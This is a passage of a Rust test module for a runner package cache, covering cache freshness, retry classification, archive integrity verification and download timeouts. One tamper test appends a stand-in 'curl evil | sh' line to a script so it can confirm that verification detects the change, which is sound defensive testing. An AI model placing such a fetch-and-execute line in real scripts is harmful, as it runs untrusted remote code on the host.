4300 "2.340.0",
4301 ".tar.gz",
4302 Some(&hex_digest(&newer)),
4303 )]);
4304 harness.fetcher.serve(newer);
4305 harness
4306 .clock
4307 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
4308
4309 let second = cache.ensure_installed().await.expect("the cached entry");
4310
4311 assert_eq!(second.version(), &version("2.330.0"));
4312 assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
4313 }
4314
4315 #[tokio::test]
4316 async fn the_freshness_boundary_is_the_documented_thirty_days() {
4317 let (harness, _, _) = linux_fixture();
4318 let cache = harness.cache();
4319 let installed = cache.ensure_installed().await.expect("an install");
4320 let installed_at = installed.installed_at();
4321
4322 assert!(!cache.is_stale(&installed, installed_at));
4323 assert!(!cache.is_stale(
4324 &installed,
4325 installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
4326 ));
4327 assert!(cache.is_stale(
4328 &installed,
4329 installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
4330 ));
4331 }
4332
4333 #[tokio::test]
4334 async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
4335 let (harness, _, _) = linux_fixture();
4336 let cache = harness.cache();
4337 cache.ensure_installed().await.expect("the first install");
4338 assert_eq!(harness.catalog.calls(), 1);
4339
4340 harness
4342 .clock
4343 .advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
4344 cache.ensure_installed().await.expect("a cached answer");
4345 assert_eq!(
4346 harness.catalog.calls(),
4347 1,
4348 "a cold start inside the interval must not re-check"
4349 );
4350
4351 harness.clock.advance(Elapsed::hours(2));
4353 cache.ensure_installed().await.expect("a re-check");
4354 assert_eq!(harness.catalog.calls(), 2);
4355 }
4356
4357 #[tokio::test]
4358 async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
4359 let (harness, _, _) = linux_fixture();
4362 let cache = harness.cache();
4363 cache.ensure_installed().await.expect("an install");
4364 assert_eq!(harness.catalog.calls(), 1);
4365
4366 harness
4367 .clock
4368 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4369 cache.ensure_installed().await.expect("a re-check");
4372 let after_recheck = harness.catalog.calls();
4373 harness.clock.advance(Elapsed::minutes(1));
4374
4375 cache.ensure_installed().await.expect("another cold start");
4376
4377 assert_eq!(
4378 harness.catalog.calls(),
4379 after_recheck + 1,
4380 "a stale entry must be re-checked on every cold start, interval or not"
4381 );
4382 }
4383
4384 #[tokio::test]
4385 async fn a_version_rejection_is_terminal_and_produces_no_retry() {
4386 let (harness, _, _) = linux_fixture();
4387 let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
4388 let cache = harness.cache().with_retry_budget(3);
4391
4392 let error = cache.ensure_installed().await.unwrap_err();
4393
4394 assert!(
4395 matches!(error, PackageError::VersionRejected { .. }),
4396 "expected a version rejection, got {error:?}"
4397 );
4398 assert!(error.is_terminal());
4399 assert_eq!(
4400 error.failure_reason(),
4401 Some(FailureReason::RunnerVersionRejected),
4402 "the domain already names this; no second vocabulary"
4403 );
4404 assert!(
4405 error.operator_action().is_some(),
4406 "a terminal condition owes the operator an action"
4407 );
4408 assert!(
4409 error.to_string().contains("cannot succeed"),
4410 "the message must say retrying is pointless: `{error}`"
4411 );
4412 assert_eq!(
4413 harness.catalog.calls(),
4414 1,
4415 "a version rejection must be attempted exactly once"
4416 );
4417 assert_eq!(harness.fetcher.count(), 0);
4418 }
4419
4420 #[tokio::test]
4421 async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
4422 let (harness, _, _) = linux_fixture();
4427 let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
4428 let cache = harness.cache().with_retry_budget(3);
4429
4430 let error = cache.ensure_installed().await.unwrap_err();
4431
4432 assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
4433 assert_eq!(
4434 harness.catalog.calls(),
4435 3,
4436 "a retryable failure must spend the budget"
4437 );
4438 assert!(
4439 error.operator_action().is_none(),
4440 "the answer to a transient failure is to wait, not to act"
4441 );
4442 }
4443
4444 fn variant_name(error: &PackageError) -> &'static str {
4454 match error {
4455 PackageError::UnsupportedHost(_) => "UnsupportedHost",
4456 PackageError::NoPackagePublished { .. } => "NoPackagePublished",
4457 PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
4458 PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
4459 PackageError::MalformedDigest { .. } => "MalformedDigest",
4460 PackageError::VersionRejected { .. } => "VersionRejected",
4461 PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
4462 PackageError::Download { .. } => "Download",
4463 PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
4464 PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
4465 PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
4466 PackageError::Extract { .. } => "Extract",
4467 PackageError::VersionInUse { .. } => "VersionInUse",
4468 PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
4469 PackageError::UnreadableLease { .. } => "UnreadableLease",
4470 PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
4471 PackageError::NotInstalled { .. } => "NotInstalled",
4472 PackageError::Io { .. } => "Io",
4473 PackageError::Exhausted { .. } => "Exhausted",
4474 }
4475 }
4476
4477 const PACKAGE_ERROR_VARIANTS: usize = 19;
4484
4485 #[test]
4486 fn every_variant_is_classified_and_classification_matches_the_remedy() {
4487 let samples: Vec<(PackageError, bool)> = vec![
4491 (
4492 PackageError::Io {
4493 what: "read",
4494 path: PathBuf::from("x"),
4495 source: io::Error::other("disk"),
4496 },
4497 false,
4498 ),
4499 (
4500 PackageError::Exhausted {
4501 attempts: 3,
4502 source: Box::new(PackageError::Download {
4503 detail: "reset".to_string(),
4504 }),
4505 },
4506 true,
4507 ),
4508 (
4509 PackageError::UnreadableLease {
4510 path: PathBuf::from("x.lease"),
4511 },
4512 true,
4513 ),
4514 (
4515 PackageError::ChecksumMismatch {
4516 version: version("2.330.0"),
4517 expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4518 actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4519 },
4520 false,
4521 ),
4522 (
4523 PackageError::CatalogUnavailable {
4524 detail: "502".to_string(),
4525 },
4526 false,
4527 ),
4528 (
4529 PackageError::Download {
4530 detail: "reset".to_string(),
4531 },
4532 false,
4533 ),
4534 (
4535 PackageError::Extract {
4536 detail: "short read".to_string(),
4537 },
4538 false,
4539 ),
4540 (
4541 PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
4542 os: Os::Windows,
4543 arch: Arch::Arm32,
4544 }),
4545 true,
4546 ),
4547 (
4548 PackageError::NoPackagePublished {
4549 os: Os::Linux,
4550 arch: Arch::Arm32,
4551 },
4552 true,
4553 ),
4554 (
4555 PackageError::ChecksumAbsent {
4556 version: version("2.330.0"),
4557 os: Os::Linux,
4558 arch: Arch::X64,
4559 published: PublishedChecksum::Absent,
4560 },
4561 true,
4562 ),
4563 (
4564 PackageError::MalformedDigest {
4565 raw: "nope".to_string(),
4566 },
4567 true,
4568 ),
4569 (
4570 PackageError::VersionRejected {
4571 version: None,
4572 detail: None,
4573 },
4574 true,
4575 ),
4576 (
4577 PackageError::UnrecognisedVersion {
4578 raw: "nope".to_string(),
4579 },
4580 true,
4581 ),
4582 (
4583 PackageError::UnsupportedArchive {
4584 filename: "x.rar".to_string(),
4585 },
4586 true,
4587 ),
4588 (
4589 PackageError::UnsafeArchiveEntry {
4590 entry: "../x".to_string(),
4591 },
4592 true,
4593 ),
4594 (
4595 PackageError::VersionInUse {
4596 version: version("2.330.0"),
4597 attempt: fixtures::ATTEMPT_ID,
4598 state: AttemptState::Busy,
4599 },
4600 true,
4601 ),
4602 (
4603 PackageError::VersionHeldByUnknownAttempt {
4604 version: version("2.330.0"),
4605 attempt: fixtures::ATTEMPT_ID,
4606 },
4607 true,
4608 ),
4609 (
4610 PackageError::WorkspaceInsideCache {
4611 attempt: fixtures::ATTEMPT_ID,
4612 path: PathBuf::from("x"),
4613 },
4614 true,
4615 ),
4616 (
4617 PackageError::NotInstalled {
4618 version: version("2.330.0"),
4619 },
4620 true,
4621 ),
4622 ];
4623
4624 let covered: std::collections::BTreeSet<&'static str> = samples
4625 .iter()
4626 .map(|(error, _)| variant_name(error))
4627 .collect();
4628 assert_eq!(
4629 covered.len(),
4630 PACKAGE_ERROR_VARIANTS,
4631 "every variant needs a sample; covered {covered:?}"
4632 );
4633
4634 for (error, terminal) in samples {
4635 let name = variant_name(&error);
4636 assert_eq!(
4637 error.is_terminal(),
4638 terminal,
4639 "{name} is classified the wrong way"
4640 );
4641 if name == "Exhausted" {
4650 continue;
4651 }
4652 assert_eq!(
4653 error.operator_action().is_some(),
4654 terminal,
4655 "{name}: a terminal condition owes an action and a retryable one does not"
4656 );
4657 }
4658 }
4659
4660 #[test]
4661 fn a_removed_sample_is_caught_by_the_coverage_assertion() {
4662 let short: Vec<PackageError> = vec![PackageError::NotInstalled {
4665 version: version("2.330.0"),
4666 }];
4667 let covered: std::collections::BTreeSet<&'static str> =
4668 short.iter().map(variant_name).collect();
4669 assert_ne!(
4670 covered.len(),
4671 PACKAGE_ERROR_VARIANTS,
4672 "an incomplete sample list must not satisfy the coverage check"
4673 );
4674 }
4675
4676 #[test]
4677 fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
4678 let exhausted = PackageError::Exhausted {
4679 attempts: 3,
4680 source: Box::new(PackageError::ChecksumMismatch {
4681 version: version("2.330.0"),
4682 expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4683 actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4684 }),
4685 };
4686 assert!(exhausted.is_terminal(), "the budget is spent");
4687 assert_eq!(
4688 exhausted.failure_reason(),
4689 Some(FailureReason::RunnerPackageUnverified),
4690 "the journal reason comes from what actually failed"
4691 );
4692 }
4693
4694 fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
4702 let id = AttemptId::from_u128(id);
4703 let runtime = harness
4704 .paths
4705 .runtime_dir()
4706 .join(fixtures::POLICY_ID.to_string())
4707 .join(id.to_string());
4708 fixtures::attempt()
4709 .id(id)
4710 .state(state)
4711 .runtime_path(runtime.to_string_lossy().to_string())
4712 .build()
4713 }
4714
4715 fn reserved(harness: &Harness, id: u128) -> RunnerAttempt {
4717 let attempt = attempt_in(harness, id, AttemptState::Allocated);
4718 fs::create_dir_all(attempt.runtime_path().parent().unwrap()).unwrap();
4719 attempt
4720 }
4721
4722 fn two_targets(
4724 harness: &Harness,
4725 ) -> (
4726 crate::lifecycle::CachedRuntimePackages,
4727 crate::lifecycle::CachedRuntimePackages,
4728 crate::lifecycle::SharedPackages,
4729 ) {
4730 use crate::lifecycle::{CachedRuntimePackages, SharedPackages};
4731 let shared = SharedPackages::default();
4732 (
4733 CachedRuntimePackages::new(
4734 Arc::new(harness.cache().with_last_check(shared.last_check())),
4735 shared.clone(),
4736 ),
4737 CachedRuntimePackages::new(
4738 Arc::new(harness.cache().with_last_check(shared.last_check())),
4739 shared.clone(),
4740 ),
4741 shared,
4742 )
4743 }
4744
4745 fn no_exception(_: &std::ffi::OsStr) -> bool {
4746 false
4747 }
4748
4749 async fn installed_with_contents(
4751 harness: &Harness,
4752 ) -> (InstalledPackage, Arc<PackageContents>) {
4753 let (installed, downloaded) = harness
4754 .cache()
4755 .ensure_installed_reporting()
4756 .await
4757 .expect("installed");
4758 assert!(downloaded);
4759 let contents = installed.contents().expect("this call unpacked it");
4760 (installed, contents)
4761 }
4762
4763 #[tokio::test]
4764 async fn what_an_install_unpacked_verifies_against_its_archive() {
4765 let (harness, _, _) = linux_fixture();
4766 let (installed, contents) = installed_with_contents(&harness).await;
4767 assert_eq!(contents.verify(installed.root(), no_exception), Ok(()));
4768 assert_eq!(
4770 harness
4771 .cache()
4772 .entry(installed.version())
4773 .unwrap()
4774 .unwrap()
4775 .contents(),
4776 None
4777 );
4778 }
4779
4780 #[test]
4781 fn a_zips_contents_are_read_from_it() {
4782 let dir = tempfile::tempdir().unwrap();
4783 let archive = zip_bytes(&[("run.cmd", "echo\n"), ("bin/Runner.exe", "bin\n")]);
4784 let into = dir.path().join("tree");
4785 extract(&archive, ArchiveKind::Zip, &into).unwrap();
4786 let contents = PackageContents::of_archive(&archive, ArchiveKind::Zip).unwrap();
4787 assert_eq!(contents.verify(&into, no_exception), Ok(()));
4788 fs::write(into.join("bin/Runner.exe"), "BIN\n").unwrap();
4789 assert_eq!(
4790 contents.verify(&into, no_exception),
4791 Err(ContentsMismatch::Modified)
4792 );
4793 }
4794
4795 #[test]
4796 fn a_tars_links_are_read_from_it() {
4797 let dir = tempfile::tempdir().unwrap();
4798 let archive = dir.path().join("package.tar.gz");
4799 let mut body = tar::Builder::new(Vec::new());
4800 let mut file = tar::Header::new_gnu();
4801 file.set_size(5);
4802 file.set_mode(0o755);
4803 file.set_cksum();
4804 body.append_data(&mut file, "bin/run", &b"run!\n"[..])
4805 .unwrap();
4806 for (kind, name, target) in [
4807 (tar::EntryType::Symlink, "latest", "bin/run"),
4808 (tar::EntryType::Link, "bin/again", "bin/run"),
4809 ] {
4810 let mut link = tar::Header::new_gnu();
4811 link.set_entry_type(kind);
4812 link.set_size(0);
4813 link.set_mode(0o777);
4814 body.append_link(&mut link, name, target).unwrap();
4815 }
4816 let tarball = body.into_inner().unwrap();
4817 let mut gz = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
4818 gz.write_all(&tarball).unwrap();
4819 fs::write(&archive, gz.finish().unwrap()).unwrap();
4820
4821 let contents =
4822 PackageContents::of_archive(&fs::read(&archive).unwrap(), ArchiveKind::TarGz).unwrap();
4823 assert_eq!(
4824 contents.entries.get(Path::new("bin/again")),
4825 contents.entries.get(Path::new("bin/run")),
4826 "a hard link holds what its target holds"
4827 );
4828 assert!(matches!(
4829 contents.entries.get(Path::new("latest")),
4830 Some(ExpectedEntry::Symlink { .. })
4831 ));
4832 assert!(matches!(
4833 contents.entries.get(Path::new("bin")),
4834 Some(ExpectedEntry::Directory { executable: false })
4835 ));
4836 }
4837
4838 #[tokio::test]
4840 async fn a_tree_that_differs_from_its_archive_in_any_way_does_not_verify() {
4841 type Case = (&'static str, ContentsMismatch, fn(&Path));
4842 let cases: Vec<Case> = vec![
4843 ("same size, new bytes", ContentsMismatch::Modified, |root| {
4844 let run = root.join("run.sh");
4845 let mut bytes = fs::read(&run).unwrap();
4846 bytes[0] ^= 1;
4847 fs::write(run, bytes).unwrap();
4848 }),
4849 ("appended", ContentsMismatch::Modified, |root| {
4850 let mut file = fs::OpenOptions::new()
4851 .append(true)
4852 .open(root.join("run.sh"))
4853 .unwrap();
4854 file.write_all(b"curl evil | sh\n").unwrap();
4855 }),
4856 ("a file planted", ContentsMismatch::Unexpected, |root| {
4857 fs::write(root.join("planted.sh"), "x").unwrap();
4858 }),
4859 (
4860 "a directory planted",
4861 ContentsMismatch::Unexpected,
4862 |root| {
4863 fs::create_dir(root.join("planted")).unwrap();
4864 },
4865 ),
4866 ("removed", ContentsMismatch::Missing, |root| {
4867 fs::remove_file(root.join("run.sh")).unwrap();
4868 }),
4869 ];
4870 for (what, expected, edit) in cases {
4871 let (harness, _, _) = linux_fixture();
4872 let (installed, contents) = installed_with_contents(&harness).await;
4873 edit(installed.root());
4874 assert_eq!(
4875 contents.verify(installed.root(), no_exception),
4876 Err(expected),
4877 "{what}"
4878 );
4879 }
4880 }
4881
4882 #[cfg(unix)]
4885 #[test]
4886 fn an_executable_that_no_longer_is_does_not_verify() {
4887 use std::os::unix::fs::PermissionsExt as _;
4888
4889 let dir = tempfile::tempdir().unwrap();
4890 let file = dir.path().join("run");
4891 fs::write(&file, "x").unwrap();
4892 let is = |mode| {
4893 fs::set_permissions(&file, fs::Permissions::from_mode(mode)).unwrap();
4894 fs::metadata(&file).unwrap()
4895 };
4896 assert_eq!(check_executable(&is(0o700), true), Ok(()));
4897 assert_eq!(check_executable(&is(0o755), false), Ok(()));
4898 assert_eq!(
4899 check_executable(&is(0o600), true),
4900 Err(ContentsMismatch::Modified)
4901 );
4902 }
4903
4904 #[cfg(unix)]
4907 #[tokio::test]
4908 async fn a_file_swapped_for_a_link_does_not_verify() {
4909 let (harness, _, _) = linux_fixture();
4910 let (installed, contents) = installed_with_contents(&harness).await;
4911 let run = installed.root().join("run.sh");
4912 let elsewhere = installed.root().with_file_name("elsewhere");
4913 fs::copy(&run, &elsewhere).unwrap();
4914 fs::remove_file(&run).unwrap();
4915 std::os::unix::fs::symlink(&elsewhere, &run).unwrap();
4916 assert_eq!(
4917 contents.verify(installed.root(), no_exception),
4918 Err(ContentsMismatch::Modified)
4919 );
4920 }
4921
4922 #[cfg(unix)]
4925 #[test]
4926 fn a_fifo_in_place_of_a_file_is_refused_rather_than_waited_for() {
4927 let dir = tempfile::tempdir().unwrap();
4928 let fifo = dir.path().join("fifo");
4929 let status = std::process::Command::new("mkfifo")
4930 .arg(&fifo)
4931 .status()
4932 .expect("mkfifo runs");
4933 assert!(status.success());
4934 let finished = std::sync::mpsc::channel();
4935 let path = fifo.clone();
4936 std::thread::spawn(move || {
4937 let _ = finished.0.send(hash_all(&[(path, 1, [0; 32])]));
4938 });
4939 let outcome = finished
4940 .1
4941 .recv_timeout(std::time::Duration::from_secs(10))
4942 .expect("it does not wait for a writer");
4943 assert_eq!(outcome, Err(ContentsMismatch::Unreadable));
4944 }
4945
4946 #[test]
4949 fn the_digest_the_package_and_the_record_come_from_one_read() {
4950 let source = include_str!("package.rs");
4951 let body = source
4952 .split("async fn fetch_verify_extract")
4953 .nth(1)
4954 .and_then(|rest| rest.split("// -- reading the cache").next())
4955 .expect("the function");
4956 assert_eq!(body.matches("fs::read(").count(), 1);
4957 }
4958
4959 #[tokio::test]
4962 async fn an_entry_a_job_broke_is_replaced_rather_than_blocking_every_install() {
4963 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
4964
4965 for break_it in [
4966 (|root: &Path| fs::remove_file(root.join(MANIFEST_FILE)).unwrap()) as fn(&Path),
4967 |root: &Path| {
4968 let manifest = root.join(MANIFEST_FILE);
4969 let held = fs::read_to_string(&manifest).unwrap();
4970 fs::write(manifest, held.replace("2.330.0", "2.331.0")).unwrap();
4971 },
4972 |root: &Path| {
4973 let manifest = root.join(MANIFEST_FILE);
4974 fs::remove_file(&manifest).unwrap();
4975 fs::create_dir(manifest).unwrap();
4976 },
4977 #[cfg(unix)]
4978 |root: &Path| {
4979 let manifest = root.join(MANIFEST_FILE);
4980 fs::remove_file(&manifest).unwrap();
4981 assert!(
4982 std::process::Command::new("mkfifo")
4983 .arg(&manifest)
4984 .status()
4985 .expect("mkfifo runs")
4986 .success()
4987 );
4988 },
4989 ] {
4990 let (harness, _, _) = linux_fixture();
4991 let (one, _two, _shared) = two_targets(&harness);
4992 one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
4993 .await
4994 .expect("clean");
4995 let root = harness.cache().installed().unwrap().remove(0);
4996 break_it(root.root());
4997
4998 let second = reserved(&harness, 2);
4999 one.materialize(&second, &mut PackageTimings::default())
5000 .await
5001 .expect("prepared again");
5002 assert_eq!(harness.fetcher.count(), 2);
5003 assert!(second.runtime_path().join("run.sh").exists());
5004 }
5005 }
5006
5007 #[cfg(unix)]
5010 #[tokio::test]
5011 async fn a_fifo_in_a_broken_entry_holds_nothing_up() {
5012 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5013
5014 let (harness, _, _) = linux_fixture();
5015 let (one, _two, _shared) = two_targets(&harness);
5016 one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
5017 .await
5018 .expect("clean");
5019 let root = harness.cache().installed().unwrap().remove(0);
5020 fs::remove_file(root.root().join(MANIFEST_FILE)).unwrap();
5021 let fifo = root.root().join("fifo");
5022 assert!(
5023 std::process::Command::new("mkfifo")
5024 .arg(&fifo)
5025 .status()
5026 .expect("mkfifo runs")
5027 .success()
5028 );
5029
5030 let second = reserved(&harness, 2);
5031 let mut timings = PackageTimings::default();
5032 tokio::time::timeout(
5033 std::time::Duration::from_secs(30),
5034 one.materialize(&second, &mut timings),
5035 )
5036 .await
5037 .expect("it does not wait on the FIFO")
5038 .expect("prepared again");
5039 let staging = harness.cache().staging_root();
5040 for _ in 0..500 {
5041 if fs::read_dir(&staging).map_or(0, Iterator::count) == 0 {
5042 return;
5043 }
5044 tokio::time::sleep(std::time::Duration::from_millis(10)).await;
5045 }
5046 panic!("the broken tree was not removed");
5047 }
5048
5049 #[cfg(unix)]
5052 #[tokio::test]
5053 async fn a_real_shaped_package_verifies_after_a_real_copy() {
5054 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5055
5056 let mut body = tar::Builder::new(Vec::new());
5057 let mut add = |kind, name: &str, mode, data: &[u8]| {
5058 let mut header = tar::Header::new_gnu();
5059 header.set_entry_type(kind);
5060 header.set_mode(mode);
5061 header.set_size(data.len() as u64);
5062 header.set_cksum();
5063 body.append_data(&mut header, name, data).unwrap();
5064 };
5065 add(tar::EntryType::Directory, "./", 0o755, b"");
5066 add(tar::EntryType::Directory, "./bin/", 0o755, b"");
5067 add(tar::EntryType::Regular, "./run.sh", 0o755, b"#!/bin/sh\n");
5068 add(tar::EntryType::Regular, "./bin/data.json", 0o644, b"{}\n");
5069 add(tar::EntryType::Regular, "./bin/Runner", 0o775, b"elf");
5070 for (kind, name, target) in [
5071 (tar::EntryType::Symlink, "./latest", "bin/Runner"),
5072 (tar::EntryType::Link, "./bin/again", "./bin/Runner"),
5073 ] {
5074 let mut link = tar::Header::new_gnu();
5075 link.set_entry_type(kind);
5076 link.set_size(0);
5077 link.set_mode(0o777);
5078 body.append_link(&mut link, name, target).unwrap();
5079 }
5080 let tarball = body.into_inner().unwrap();
5081 let mut gz = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
5082 gz.write_all(&tarball).unwrap();
5083 let payload = gz.finish().unwrap();
5084 let digest = hex_digest(&payload);
5085 let harness = Harness::new(
5086 vec![published(
5087 "linux",
5088 "x64",
5089 "2.330.0",
5090 ".tar.gz",
5091 Some(&digest),
5092 )],
5093 payload,
5094 );
5095 let (one, _two, _shared) = two_targets(&harness);
5096 let attempt = reserved(&harness, 1);
5097 one.materialize(&attempt, &mut PackageTimings::default())
5098 .await
5099 .expect("no false alarm on a real shape");
5100 assert!(attempt.runtime_path().join("bin/again").exists());
5101 }
5102
5103 #[tokio::test]
5106 async fn only_a_top_level_ignored_entry_is_ignored() {
5107 let (harness, _, _) = linux_fixture();
5108 let (installed, contents) = installed_with_contents(&harness).await;
5109 fs::create_dir(installed.root().join("_work")).unwrap();
5110 fs::write(installed.root().join("_work/job"), "x").unwrap();
5111 assert_eq!(
5112 contents.verify(installed.root(), |name| name == "_work"),
5113 Ok(())
5114 );
5115 assert_eq!(
5116 contents.verify(installed.root(), no_exception),
5117 Err(ContentsMismatch::Unexpected)
5118 );
5119 }
5120
5121 #[tokio::test]
5125 async fn a_copy_of_an_edited_package_is_discarded_and_the_package_prepared_again() {
5126 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5127
5128 let (harness, _, _) = linux_fixture();
5129 let (one, _two, shared) = two_targets(&harness);
5130 let first = reserved(&harness, 1);
5131 let mut timings = PackageTimings::default();
5132 one.materialize(&first, &mut timings).await.expect("clean");
5133 assert!(timings.verify > std::time::Duration::ZERO, "it was read");
5134 let entry = harness.cache().installed().unwrap().remove(0);
5135 assert!(shared.vouches_for(entry.root()));
5136
5137 let run = entry.root().join("run.sh");
5138 let mut bytes = fs::read(&run).unwrap();
5139 bytes[0] ^= 1;
5140 fs::write(&run, &bytes).unwrap();
5141 shared.blind_to_edits_of(entry.root());
5142
5143 let second = reserved(&harness, 2);
5144 let refused = one
5145 .materialize(&second, &mut PackageTimings::default())
5146 .await;
5147 assert_eq!(refused.unwrap_err(), FailureReason::ProcessStartFailed);
5148 assert!(
5149 !second.runtime_path().exists(),
5150 "the copy is not left to use"
5151 );
5152 assert!(
5153 harness
5154 .cache()
5155 .holders(entry.version())
5156 .unwrap()
5157 .iter()
5158 .all(|holder| *holder != second.id)
5159 );
5160 assert!(!shared.vouches_for(entry.root()));
5161 assert_eq!(harness.fetcher.count(), 1);
5162
5163 one.materialize(&second, &mut PackageTimings::default())
5164 .await
5165 .expect("prepared again");
5166 assert_eq!(harness.fetcher.count(), 2);
5167 assert_ne!(
5168 fs::read(second.runtime_path().join("run.sh")).unwrap(),
5169 bytes
5170 );
5171 }
5172
5173 async fn serving_once<F, T>(head: &'static str, then: F) -> String
5175 where
5176 F: FnOnce(tokio::net::TcpStream) -> T + Send + 'static,
5177 T: std::future::Future<Output = ()> + Send,
5178 {
5179 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5180
5181 let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
5182 let address = listener.local_addr().unwrap();
5183 tokio::spawn(async move {
5184 let (mut stream, _) = listener.accept().await.unwrap();
5185 let mut request = [0_u8; 1024];
5186 let _ = stream.read(&mut request).await;
5187 stream.write_all(head.as_bytes()).await.unwrap();
5188 then(stream).await;
5189 });
5190 format!("http://{address}/package.tar.gz")
5191 }
5192
5193 const STALL: std::time::Duration = std::time::Duration::from_millis(300);
5194
5195 fn impatient_fetcher() -> HttpFetcher {
5196 HttpFetcher::new(
5197 reqwest::Client::builder()
5198 .read_timeout(STALL)
5199 .build()
5200 .expect("a client"),
5201 )
5202 }
5203
5204 #[tokio::test]
5205 async fn a_download_that_goes_silent_fails_rather_than_waits() {
5206 use tokio::io::AsyncWriteExt as _;
5207
5208 let dir = tempfile::tempdir().unwrap();
5209 let url = serving_once(
5210 "HTTP/1.1 200 OK\r\nContent-Length: 1000\r\n\r\n",
5211 |mut stream| async move {
5212 stream.write_all(b"the first bytes").await.unwrap();
5213 std::future::pending::<()>().await;
5214 drop(stream);
5215 },
5216 )
5217 .await;
5218
5219 let error = impatient_fetcher()
5220 .fetch(&url, &dir.path().join("archive"))
5221 .await
5222 .unwrap_err();
5223
5224 assert!(matches!(error, PackageError::Download { .. }), "{error}");
5225 assert!(!error.is_terminal(), "a later attempt may try again");
5226 }
5227
5228 #[tokio::test]
5229 async fn a_response_that_never_comes_fails_rather_than_waits() {
5230 let dir = tempfile::tempdir().unwrap();
5231 let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
5232 let url = format!("http://{}/package.tar.gz", listener.local_addr().unwrap());
5233
5234 let error = impatient_fetcher()
5235 .fetch(&url, &dir.path().join("archive"))
5236 .await
5237 .unwrap_err();
5238
5239 assert!(matches!(error, PackageError::Download { .. }), "{error}");
5240 drop(listener);
5241 }
5242
5243 #[tokio::test]
5246 async fn a_slow_download_that_keeps_coming_completes() {
5247 use tokio::io::AsyncWriteExt as _;
5248
5249 let dir = tempfile::tempdir().unwrap();
5250 let url = serving_once(
5251 "HTTP/1.1 200 OK\r\nContent-Length: 8\r\n\r\n",
5252 |mut stream| async move {
5253 for _ in 0..8 {
5254 tokio::time::sleep(STALL / 3).await;
5255 stream.write_all(b"x").await.unwrap();
5256 stream.flush().await.unwrap();
5257 }
5258 },
5259 )
5260 .await;
5261 let destination = dir.path().join("archive");
5262
5263 let written = impatient_fetcher()
5264 .fetch(&url, &destination)
5265 .await
5266 .expect("slow is not stalled");
5267
5268 assert_eq!(written, 8);
5269 assert_eq!(fs::read(&destination).unwrap(), b"xxxxxxxx");
5270 }
5271
5272 #[tokio::test]
5275 async fn a_failed_download_leaves_nothing_and_the_next_attempt_retries() {
5276 #[derive(Debug)]
5277 struct Partial;
5278 #[async_trait::async_trait]
5279 impl PackageFetcher for Partial {
5280 async fn fetch(&self, _url: &str, destination: &Path) -> Result<u64, PackageError> {
5281 fs::write(destination, b"half an archive").unwrap();
5282 Err(PackageError::Download {
5283 detail: "the connection sent nothing".into(),
5284 })
5285 }
5286 }
5287
5288 let (harness, _, _) = linux_fixture();
5289 let stalled = PackageCache::new(
5290 &harness.paths,
5291 Os::Linux,
5292 Arch::X64,
5293 CachePorts {
5294 catalog: Arc::clone(&harness.catalog) as Arc<dyn DownloadCatalog>,
5295 fetcher: Arc::new(Partial),
5296 backoff: Arc::new(NoBackoff),
5297 clock: Arc::clone(&harness.clock) as Arc<dyn Clock>,
5298 },
5299 )
5300 .with_retry_budget(1);
5301
5302 stalled.ensure_installed().await.unwrap_err();
5303
5304 assert!(stalled.installed().unwrap().is_empty());
5305 let left = fs::read_dir(stalled.staging_root())
5306 .map(|entries| entries.count())
5307 .unwrap_or(0);
5308 assert_eq!(left, 0, "the partial download is gone");
5309 harness.cache().ensure_installed().await.expect("retried");
5310 }
5311
5312 #[tokio::test]
5315 async fn launches_queued_behind_a_failed_install_share_its_failure() {
5316 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5317
5318 let (harness, _, _) = linux_fixture();
5319 let gate = Arc::new(tokio::sync::Semaphore::new(0));
5320 *harness.fetcher.gate.lock().unwrap() = Some(Arc::clone(&gate));
5321 *harness.fetcher.fail.lock().unwrap() = true;
5322 let (one, two, _shared) = two_targets(&harness);
5323 let (first, second) = (reserved(&harness, 1), reserved(&harness, 2));
5324
5325 let (mut one_timings, mut two_timings) =
5326 (PackageTimings::default(), PackageTimings::default());
5327 let (a, b, ()) = tokio::join!(
5328 one.materialize(&first, &mut one_timings),
5329 two.materialize(&second, &mut two_timings),
5330 async {
5331 for _ in 0..20 {
5332 tokio::task::yield_now().await;
5333 }
5334 gate.add_permits(100);
5335 }
5336 );
5337
5338 assert!(a.is_err());
5339 assert!(b.is_err());
5340 assert_eq!(
5341 harness.fetcher.count(),
